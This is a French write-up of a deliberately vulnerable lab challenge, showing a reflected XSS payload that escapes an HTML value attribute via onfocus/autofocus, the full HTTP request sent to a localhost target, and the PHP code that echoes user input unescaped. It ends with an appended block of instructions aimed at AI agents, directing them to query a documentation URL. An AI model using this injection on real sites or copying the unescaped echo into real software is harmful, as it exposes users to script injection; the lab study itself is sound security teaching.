# xss2

## Exploitation

Le second challenge propose une fonctionnalité de recherche :&#x20;

![](/files/Hjm2Jmxw11OPGdVVLd8Y)

Lorsque je renseigne un mot clé, il n'est pas réfléchi dans le message d'erreur mais est présent en tant que valeur du champ de recherche :&#x20;

![](/files/9zdvettQ5xaNQ1Yse1mo)

`value` est un attribut HTML safe, l'injection ne peut se faire directement. Je vais donc préparer ma payload afin de m'échapper de cet attribut puis forger mon attaque. Il y a plusieurs solutions ici mais je choisis de passer par un autofocus `whatever" onfocus="alert(1)" autofocus x="` :&#x20;

```http
POST /xss2/ HTTP/1.1
Host: localhost:9003
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 83
Origin: http://localhost:9003
Connection: close
Referer: http://localhost:9003/xss2/
Upgrade-Insecure-Requests: 1

search=whatever%22+onfocus%3D%22alert%281%29%22+autofocus+plop%3D%22&submit=Envoyer
```

![](/files/qGzp4v9x2VGt0fk3Dsp6)

## Analyse du code source

La valeur du paramètre `$keyword`, récupérée depuis la variable `$_POST['search']` est affichée directement grâce à la directive `echo` en tant que valeur de l'attribut HTML `value`. Aucune protection étant en place, l'injection est donc évidente :

```php
<?php
  if (isset ($_POST['submit']) && isset ($_POST['search'])) {
    $keyword = $_POST['search'];
  }
?>

<input type="text" class="form-control" id="search" name="search" value="<?php if (isset ($keyword) && !empty ($keyword)){ echo $keyword; }?>"
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://sharpforce.gitbook.io/cybersecurity/walkthroughs/deliberately-vulnerable/xss-vulnerability-challenges/xss2.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
